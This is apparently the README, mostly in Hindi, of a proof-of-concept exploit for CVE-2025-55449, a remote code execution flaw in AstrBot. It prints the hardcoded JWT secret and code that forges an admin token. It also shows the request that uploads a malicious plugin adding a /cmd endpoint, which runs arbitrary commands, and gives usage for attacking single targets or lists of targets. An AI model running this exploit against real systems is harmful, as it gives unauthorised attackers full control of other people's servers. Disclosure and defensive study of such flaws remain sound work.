
CVE-2025-55449 EXP
इस रिपॉजिटरी में CVE-2025-55449 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट है, जो AstrBot में एक गंभीर रिमोट कोड निष्पादन (RCE) भेद्यता है। यह भेद्यता एक हमलावर को कमजोर JWT प्रमाणीकरण और प्लगइन स्थापना तंत्र का शोषण करके लक्ष्य सिस्टम पर मनमाना कोड निष्पादित करने की अनुमति देती है।
भेद्यता निम्नलिखित कारणों से मौजूद है:
हार्डकोडेड JWT गुप्त कुंजी: AstrBot प्रमाणीकरण के लिए एक हार्डकोडेड JWT गुप्त कुंजी (Advanced_System_for_Text_Response_and_Bot_Operations_Tool) का उपयोग करता है, जिससे हमलावर वैध प्रमाणीकरण टोकन बना सकते हैं।
अप्रतिबंधित प्लगइन स्थापना: /api/plugin/install-upload एंडपॉइंट प्रमाणित उपयोगकर्ताओं को उचित सत्यापन के बिना प्लगइन अपलोड और स्थापित करने की अनुमति देता है, जिससे मनमाना पायथन कोड निष्पादित किया जा सकता है।
प्लगइन सिस्टम के माध्यम से कोड निष्पादन: प्लगइन सिस्टम प्लगइन्स को एप्लिकेशन के रूटिंग को संशोधित करने और Flask/Quart एप्लिकेशन इंस्टेंस के माध्यम से मनमाना कमांड निष्पादित करने की अनुमति देता है।
JWT टोकन जालसाजी: एक्सप्लॉइट प्रशासक विशेषाधिकारों के साथ हार्डकोडेड गुप्त कुंजी का उपयोग करके एक JWT टोकन बनाता है।
कोड निष्पादन भेद्यता:The remote code execution vulnerability in the backend exploits the application's built-in plugin extension feature, allowing users to upload custom plugin packages. The program decompresses the packages, reads the plugin's information, imports the object's Python file, and executes the code.
1. Forge JWT token with hardcoded secret
2. Create malicious plugin ZIP file
3. POST to /api/plugin/install-upload with forged token
4. Plugin installs and adds /cmd endpoint
5. Execute commands via /cmd?cmd=<command>
jwt (PyJWT)requestszipfile (अंतर्निहित)argparse (अंतर्निहित)datetime (अंतर्निहित)pathlib (अंतर्निहित)git clone <repository-url>
cd CVE-2025-55449
pip install PyJWT requests
एकल लक्ष्य URL के विरुद्ध एक्सप्लॉइट निष्पादित करें:
python main.py http://target-ip:port
एक फ़ाइल (ip.txt) बनाएँ जिसमें प्रति पंक्ति एक URL हो:
http://target1:6185
http://target2:6185
http://target3:6185
फिर चलाएँ:
python main.py -r ip.txt
सफल शोषण पर, स्क्रिप्ट आउटपुट देगी:
http://target-ip:port/cmd?cmd=id
फिर आप निम्नलिखित URL तक पहुँचकर कमांड निष्पादित कर सकते हैं:
http://target-ip:port/cmd?cmd=<your-command>
उदाहरण के लिए:
http://target-ip:port/cmd?cmd=whoami
http://target-ip:port/cmd?cmd=ls -la
CVE-2025-55449/
├── main.py # मुख्य एक्सप्लॉइट स्क्रिप्ट
├── ip.txt # उदाहरण लक्ष्य URL फ़ाइल
├── README.md # यह फ़ाइल
└── helloworld/ # दुर्भावनापूर्ण प्लगइन निर्देशिका
├── main.py # प्लगइन कोड जो /cmd एंडपॉइंट जोड़ता है
├── metadata.yaml # प्लगइन मेटाडेटा
├── LICENSE # प्लगइन लाइसेंस
└── README.md # प्लगइन README
एक्सप्लॉइट एक वैध प्रमाणीकरण टोकन बनाने के लिए हार्डकोडेड JWT गुप्त का उपयोग करता है:
key = "Advanced_System_for_Text_Response_and_Bot_Operations_Tool"
payload = {"username": "admin", "exp": datetime.datetime.utcnow() + datetime.timedelta(days=7)}
forged = jwt.encode(payload, key, algorithm="HS256")
प्लगइन (helloworld/main.py) एक नया रूट इंजेक्ट करने के लिए पायथन के इम्पोर्ट सिस्टम और Flask/Quart के एप्लिकेशन इंस्टेंस का शोषण करता है:
# The plugin finds the Quart application instance and adds a /cmd route
# that executes arbitrary commands via os.popen()
एक्सप्लॉइट प्लगइन को ZIP फ़ाइल के रूप में पैकेज करता है और प्रमाणित एंडपॉइंट के माध्यम से अपलोड करता है:
requests.post(
url + "/api/plugin/install-upload",
headers={"Authorization": "Bearer " + forged},
files={"file": (name + ".zip", zip_payload_bytes)}
)